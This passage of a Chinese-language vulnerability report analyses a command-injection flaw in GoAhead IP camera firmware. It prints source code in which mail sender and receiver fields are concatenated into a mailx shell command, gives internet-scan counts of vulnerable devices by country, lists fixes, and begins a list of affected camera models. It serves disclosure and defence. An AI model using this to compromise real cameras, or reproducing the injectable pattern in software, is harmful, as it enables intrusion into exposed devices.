<span class="token number">257</span><span class="token punctuation">:</span>    pdst <span class="token operator">=</span> <span class="token function">strstr<span class="token punctuation">(</span></span> pcmd<span class="token punctuation">,</span> <span class="token string">"set_mail.cgi"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>  
<span class="token number">258</span><span class="token punctuation">:</span>  
<span class="token number">259</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span> pdst <span class="token operator">!=</span> NULL <span class="token punctuation">)</span>  
<span class="token number">260</span><span class="token punctuation">:</span>    <span class="token punctuation">{</span>  
<span class="token number">261</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> CGI_IESET_MAIL<span class="token punctuation">;</span>  
<span class="token number">262</span><span class="token punctuation">:</span>    <span class="token punctuation">}</span>

<span class="token number">348</span><span class="token punctuation">:</span>    pdst <span class="token operator">=</span> <span class="token function">strstr<span class="token punctuation">(</span></span> pcmd<span class="token punctuation">,</span> <span class="token string">"mailtest.cgi"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>  
<span class="token number">349</span><span class="token punctuation">:</span>  
<span class="token number">350</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span> pdst <span class="token operator">!=</span> NULL <span class="token punctuation">)</span>  
<span class="token number">351</span><span class="token punctuation">:</span>    <span class="token punctuation">{</span>  
<span class="token number">352</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> CGI_IESET_MAILTEST<span class="token punctuation">;</span>  
<span class="token number">353</span><span class="token punctuation">:</span><span class="token punctuation">}</span>

<span class="token number">7674</span><span class="token punctuation">:</span>    <span class="token keyword">case</span> CGI_IESET_MAILTEST<span class="token punctuation">:</span>  
<span class="token number">7675</span><span class="token punctuation">:</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span> len <span class="token operator">==</span> <span class="token number">0x00</span> <span class="token punctuation">)</span>  
<span class="token number">7676</span><span class="token punctuation">:</span>        <span class="token punctuation">{</span>  
<span class="token number">7677</span><span class="token punctuation">:</span>            iRet <span class="token operator">=</span> <span class="token function">cgisetmailtest<span class="token punctuation">(</span></span> pbuf<span class="token punctuation">,</span> pparam<span class="token punctuation">,</span> byPri <span class="token punctuation">)</span><span class="token punctuation">;</span>  
<span class="token number">7678</span><span class="token punctuation">:</span>        <span class="token punctuation">}</span>  
<span class="token number">7679</span><span class="token punctuation">:</span>  
<span class="token number">7680</span><span class="token punctuation">:</span>        <span class="token keyword">break</span><span class="token punctuation">;</span>

<span class="token number">7746</span><span class="token punctuation">:</span>    <span class="token keyword">case</span> CGI_IESET_MAIL<span class="token punctuation">:</span>  
<span class="token number">7747</span><span class="token punctuation">:</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span> len <span class="token operator">==</span> <span class="token number">0x00</span> <span class="token punctuation">)</span>  
<span class="token number">7748</span><span class="token punctuation">:</span>        <span class="token punctuation">{</span>  
<span class="token number">7749</span><span class="token punctuation">:</span>            iRet <span class="token operator">=</span> <span class="token function">cgisetmail<span class="token punctuation">(</span></span> pbuf<span class="token punctuation">,</span> pparam<span class="token punctuation">,</span> byPri <span class="token punctuation">)</span><span class="token punctuation">;</span>  
<span class="token number">7750</span><span class="token punctuation">:</span>            <span class="token function">IETextout<span class="token punctuation">(</span></span> <span class="token string">"-------------OK--------"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>  
<span class="token number">7751</span><span class="token punctuation">:</span>            <span class="token function">NoteSaveSem<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>  
<span class="token number">7752</span><span class="token punctuation">:</span>        <span class="token punctuation">}</span>  
<span class="token number">7753</span><span class="token punctuation">:</span>  
<span class="token number">7754</span><span class="token punctuation">:</span>        <span class="token keyword">break</span><span class="token punctuation">;</span>

与上一个远程命令执行漏洞类似,cgisetmail()函数用于将各参数储存到结构体,例如sender参数赋值给bparam.stMailParam.szSenderreceiver1参数赋值给bparam.stMailParam.szReceiver1。 接着,来到了cgisetmailtest()函数:

<span class="token keyword">int</span> <span class="token function">cgisetmailtest<span class="token punctuation">(</span></span> <span class="token keyword">unsigned</span> <span class="token keyword">char</span><span class="token operator">*</span> pbuf<span class="token punctuation">,</span> <span class="token keyword">char</span><span class="token operator">*</span> pparam<span class="token punctuation">,</span> <span class="token keyword">unsigned</span> <span class="token keyword">char</span> byPri <span class="token punctuation">)</span>  
<span class="token punctuation">{</span>
    <span class="token keyword">unsigned</span> <span class="token keyword">char</span>   temp<span class="token punctuation">[</span><span class="token number">2048</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
    <span class="token keyword">int</span>             len <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>
    <span class="token keyword">int</span>             result <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>
    <span class="token keyword">char</span>            nexturl<span class="token punctuation">[</span><span class="token number">64</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
    <span class="token keyword">int</span>        iRet <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>
    <span class="token function">memset<span class="token punctuation">(</span></span> temp<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">2048</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>

   <span class="token comment"> //iRet = DoMailTest();
</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>iRet <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
        <span class="token function">IETextout<span class="token punctuation">(</span></span><span class="token string">"Mail send over, OK or Not"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>
    <span class="token comment">/* END:   Added by Baggio.wu, 2013/10/25 */</span>

    <span class="token function">memset<span class="token punctuation">(</span></span> nexturl<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">64</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    iRet <span class="token operator">=</span> <span class="token function">GetStrParamValue<span class="token punctuation">(</span></span> pparam<span class="token punctuation">,</span> <span class="token string">"next_url"</span><span class="token punctuation">,</span> nexturl<span class="token punctuation">,</span> <span class="token number">63</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>

    <span class="token keyword">if</span> <span class="token punctuation">(</span> iRet <span class="token operator">==</span> <span class="token number">0x00</span> <span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
<span class="token property">#if 1</span>
        len <span class="token operator">+</span><span class="token operator">=</span> <span class="token function">RefreshUrl<span class="token punctuation">(</span></span> temp <span class="token operator">+</span> len<span class="token punctuation">,</span> nexturl <span class="token punctuation">)</span><span class="token punctuation">;</span>
#endif
        <span class="token function">memcpy<span class="token punctuation">(</span></span> pbuf<span class="token punctuation">,</span> temp<span class="token punctuation">,</span> len <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">else</span>
    <span class="token punctuation">{</span>
        len <span class="token operator">+</span><span class="token operator">=</span> <span class="token function">sprintf<span class="token punctuation">(</span></span> temp <span class="token operator">+</span> len<span class="token punctuation">,</span> <span class="token string">"var result=\"ok\";\r\n"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">memcpy<span class="token punctuation">(</span></span> pbuf<span class="token punctuation">,</span> temp<span class="token punctuation">,</span> len <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token function">printf<span class="token punctuation">(</span></span> <span class="token string">"sendmail len:%d\n"</span><span class="token punctuation">,</span> len <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token keyword">return</span> len<span class="token punctuation">;</span>
<span class="token punctuation">}</span>

该函数第十行已被注释掉。这是使用此函数发送邮件证据的唯一可寻之处。虽然被注释掉了,我们也要继续跟踪DoMailTest()这个函数:

<span class="token keyword">int</span> <span class="token function">DoMailTest<span class="token punctuation">(</span></span> <span class="token keyword">void</span> <span class="token punctuation">)</span>    <span class="token comment"> //email test  
</span><span class="token punctuation">{</span>
    <span class="token keyword">int</span>     iRet <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>
    <span class="token keyword">char</span>    cmd<span class="token punctuation">[</span><span class="token number">256</span><span class="token punctuation">]</span><span class="token punctuation">;</span>

    <span class="token keyword">if</span> <span class="token punctuation">(</span> bparam<span class="token punctuation">.</span>stMailParam<span class="token punctuation">.</span>szSender<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token number">0</span> <span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">if</span> <span class="token punctuation">(</span> bparam<span class="token punctuation">.</span>stMailParam<span class="token punctuation">.</span>szReceiver1<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">!=</span> <span class="token number">0x00</span> <span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
        iRet <span class="token operator">=</span> <span class="token function">EmailConfig<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token keyword">if</span> <span class="token punctuation">(</span> iRet <span class="token punctuation">)</span>
        <span class="token punctuation">{</span>
            <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>
        <span class="token punctuation">}</span>

        <span class="token function">memset<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">256</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>

        <span class="token comment">/* BEGIN: Modified by Baggio.wu, 2013/9/9 */</span>
        <span class="token function">sprintf<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token string">"echo \"mail test ok\" | /system/system/bin/mailx -r %s -s \"mail test\"  %s"</span><span class="token punctuation">,</span>
                 bparam<span class="token punctuation">.</span>stMailParam<span class="token punctuation">.</span>szSender<span class="token punctuation">,</span> bparam<span class="token punctuation">.</span>stMailParam<span class="token punctuation">.</span>szReceiver1 <span class="token punctuation">)</span><span class="token punctuation">;</span>
       <span class="token comment"> //sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -v -s \"mail test\"  %s",
</span>       <span class="token comment"> //         bparam.stMailParam.szReceiver1 );
</span>
        <span class="token function">printf<span class="token punctuation">(</span></span> <span class="token string">"start cmd:%s\n"</span><span class="token punctuation">,</span> cmd <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">EmailWrite<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> cmd <span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
       <span class="token comment"> //emailtest();
</span>        <span class="token function">printf<span class="token punctuation">(</span></span> <span class="token string">"cmd:%s\n"</span><span class="token punctuation">,</span> cmd <span class="token punctuation">)</span><span class="token punctuation">;</span>

    <span class="token punctuation">}</span>

    <span class="token keyword">return</span> iRet<span class="token punctuation">;</span>
<span class="token punctuation">}</span>

可以看到sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -r %s -s \"mail test\" %s",bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1 ),发件人和收件人都直接被拼接成命令导致最后的命令执行。

三、漏洞影响范围

ZoomEye网络空间探测引擎探测结果显示,全球范围内共查询到78万条历史记录。我们根据这78万条结果再次进行探测,发现这些设备一共存在三种情况:

  • 第一种是设备不存在漏洞。
  • 第二种是设备存在验证绕过漏洞,由于web目录下无 system.ini,导致最终无法被利用。可以看到,当我们直接请求system.ini时显示需要认证,但当我们绕过验证之后却显示404 not found
  • 最后一种是设备既存在验证绕过漏洞,又存在system.ini文件。这些设备就存在被入侵的风险。

我们统计了最后一种设备的数量。数据显示有近7万的设备存在被入侵的风险。这7万设备的国家分布图如下:

可以看出,美国、中国、韩国、法国、日本均属于重灾区。我国一共有 7000 多台设备可能被入侵,其中近 6000 台位于香港。我们根据具体数据做成两张柱状图以便查看:

(注:None为属于中国,但未解析出具体地址的IP)

我们通过查询ZoomEye网络空间探测引擎历史记录导出2016年1月1日、2017年1月1日以及本报告编写日期2017年3月14日三个时间点的数据进行分析。

在这三个时间点,我们分别收录了banner中含有GoAhead 5ccc069c403ebaf9f0171e9517f40e41的设备26万台、65万台和78万台。

但对于这些IP而言,存在漏洞的设备增长趋势却完全不同。

可以看到,2016年1月1日已探明的设备中目前仅有2000多台存在漏洞,2017年1月1日之前探明的设备中有近3万台存在漏洞,截至仅仅两个多月后的今天,已有近7万台设备存在漏洞。

根据以上数据,我们可以做出如下判断:该漏洞出现时间大约是去年,直到今年被曝光之后才被大家所关注。在此期间,旧摄像头通过更新有漏洞固件的方式导致该漏洞的出现,而那些新生产的摄像头则被销往世界各地。根据今年新增IP地理位置,我们可以大致判断出这些存在漏洞的摄像头今年被销往何地。

根据数据,我们可以看到,主要销往美国、中国、韩国、日本。中国新增了5316台存在漏洞的摄像头,其中4000多台位于香港。

四、修复方案

1.将存在漏洞的摄像头设备置于内网。
2.及时升级到最新固件。
3.对于可能被感染的设备,可以采取重启的方式来杀死驻留在内存中的恶意进程。

五、参考链接

  1. https://www.seebug.org/vuldb/ssvid-92789
  2. https://www.seebug.org/vuldb/ssvid-92748
  3. https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
  4. https://github.com/kuangxingyiqing/bell-jpg
  5. http://aluigi.altervista.org/adv/goahead-adv2.txt

附录:Pierre Kim给出的受影响设备列表

3G+IPCam Other
3SVISION Other
3com CASA
3com Other
3xLogic Other
3xLogic Radio
4UCAM Other
4XEM Other
555 Other
7Links 3677
7Links 3677-675
7Links 3720-675
7Links 3720-919
7Links IP-Cam-in
7Links IP-Wi-Fi
7Links IPC-760HD
7Links IPC-770HD
7Links Incam
7Links Other
7Links PX-3615-675
7Links PX-3671-675
7Links PX-3720-675
7Links PX3309
7Links PX3615
7Links ipc-720
7Links px-3675
7Links px-3719-675
7Links px-3720-675
A4Tech Other
ABS Other
ADT RC8021W
AGUILERA AQUILERA
AJT AJT-019129-BBCEF
ALinking ALC
ALinking Other
ALinking dax
AMC Other
ANRAN ip180
APKLINK Other
AQUILA AV-IPE03
AQUILA AV-IPE04
AVACOM 5060
AVACOM 5980
AVACOM H5060W
AVACOM NEW
AVACOM Other
AVACOM h5060w
AVACOM h5080w
Acromedia IN-010
Acromedia Other
Advance Other
Advanced+home lc-1140
Aeoss J6358
Aetos 400w
Agasio A500W
Agasio A502W
Agasio A512
Agasio A533W
Agasio A602W
Agasio A603W
Agasio Other
AirLink Other
Airmobi HSC321
Airsight Other
Airsight X10
Airsight X34A
Airsight X36A
Airsight XC39A
Airsight XX34A
Airsight XX36A
Airsight XX40A
Airsight XX60A
Airsight x10
Airsight x10Airsight
Airsight xc36a
Airsight xc49a
Airsight xx39A
Airsight xx40a
Airsight xx49a
Airsight xx51A
Airsight xx51a
Airsight xx52a
Airsight xx59a
Airsight xx60a
Akai AK7400
Akai SP-T03WP
Alecto 150
Alecto Atheros
Alecto DVC-125IP
Alecto DVC-150-IP
Alecto DVC-1601
Alecto DVC-215IP
Alecto DVC-255-IP
Alecto dv150
Alecto dvc-150ip
Alfa 0002HD
Alfa Other
Allnet 2213
Allnet ALL2212
Allnet ALL2213
Amovision Other
Android+IP+cam IPwebcam
Anjiel ip-sd-sh13d
Apexis AH9063CW
Apexis APM-H803-WS
Apexis APM-H804-WS
Apexis APM-J011
Apexis APM-J011-Richard
Apexis APM-J011-WS
Apexis APM-J012
Apexis APM-J012-WS
Apexis APM-J0233
Apexis APM-J8015-WS
Apexis GENERIC
Apexis H
Apexis HD
Apexis J
Apexis Other
Apexis PIPCAM8
Apexis Pyle
Apexis XF-IP49
Apexis apexis
Apexis apm-
Apexis dealextreme
Aquila+Vizion Other
Area51 Other
ArmorView Other
Asagio A622W
Asagio Other
Asgari 720U
Asgari Other
Asgari PTG2
Asgari UIR-G2
Atheros ar9285
AvantGarde SUMPPLE
Axis 1054
Axis 241S
B-Qtech Other
B-Series B-1
BRAUN HD-560
BRAUN HD505
Beaulieu Other
Bionics Other
Bionics ROBOCAM
Bionics Robocam
Bionics T6892WP
Bionics t6892wp
Black+Label B2601
Bravolink Other
Breno Other
CDR+king APM-J011-WS
CDR+king Other
CDR+king SEC-015-C
CDR+king SEC-016-NE
CDR+king SEC-028-NE
CDR+king SEC-029-NE
CDR+king SEC-039-NE
CDR+king sec-016-ne
CDXX Other
CDXXcamera Any
CP+PLUS CP-EPK-HC10L1
CPTCAM Other
Camscam JWEV-372869-BCBAB
Casa Other
Cengiz Other
Chinavasion Gunnie
Chinavasion H30
Chinavasion IP611W
Chinavasion Other
Chinavasion ip609aw
Chinavasion ip611w
Cloud MV1
Cloud Other
CnM IP103
CnM Other
CnM sec-ip-cam
Compro NC150/420/500
Comtac CS2
Comtac CS9267
Conceptronic CIPCAM720PTIWL
Conceptronic cipcamptiwl
Cybernova Other
Cybernova WIP604
Cybernova WIP604MW
D-Link DCS-910
D-Link DCS-930L
D-Link L-series
D-Link Other
DB+Power 003arfu
DB+Power DBPOWER
DB+Power ERIK
DB+Power HC-WV06
DB+Power HD011P
DB+Power HD012P
DB+Power HD015P
DB+Power L-615W
DB+Power LA040
DB+Power Other
DB+Power Other2
DB+Power VA-033K
DB+Power VA0038K
DB+Power VA003K+
DB+Power VA0044_M
DB+Power VA033K
DB+Power VA033K+
DB+Power VA035K
DB+Power VA036K
DB+Power VA038
DB+Power VA038k
DB+Power VA039K
DB+Power VA039K-Test
DB+Power VA040
DB+Power VA390k
DB+Power b
DB+Power b-series
DB+Power extcams
DB+Power eye
DB+Power kiskFirstCam
DB+Power va033k
DB+Power va039k
DB+Power wifi
DBB IP607W
DEVICECLIENTQ CNB
DKSEG Other
DNT CamDoo
DVR DVR
DVS-IP-CAM Other
DVS-IP-CAM Outdoor/IR
Dagro DAGRO-003368-JLWYX
Dagro Other
Dericam H216W
Dericam H502W
Dericam M01W
Dericam M2/6/8
Dericam M502W
Dericam M601W
Dericam M801W
Dericam Other
Digix Other
Digoo BB-M2
Digoo MM==BB-M2
Digoo bb-m2
Dinon 8673
Dinon 8675
Dinon SEGEV-105
Dinon segev-103
Dome Other
Drilling+machines Other
E-Lock 1000
ENSIDIO IP102W
EOpen Open730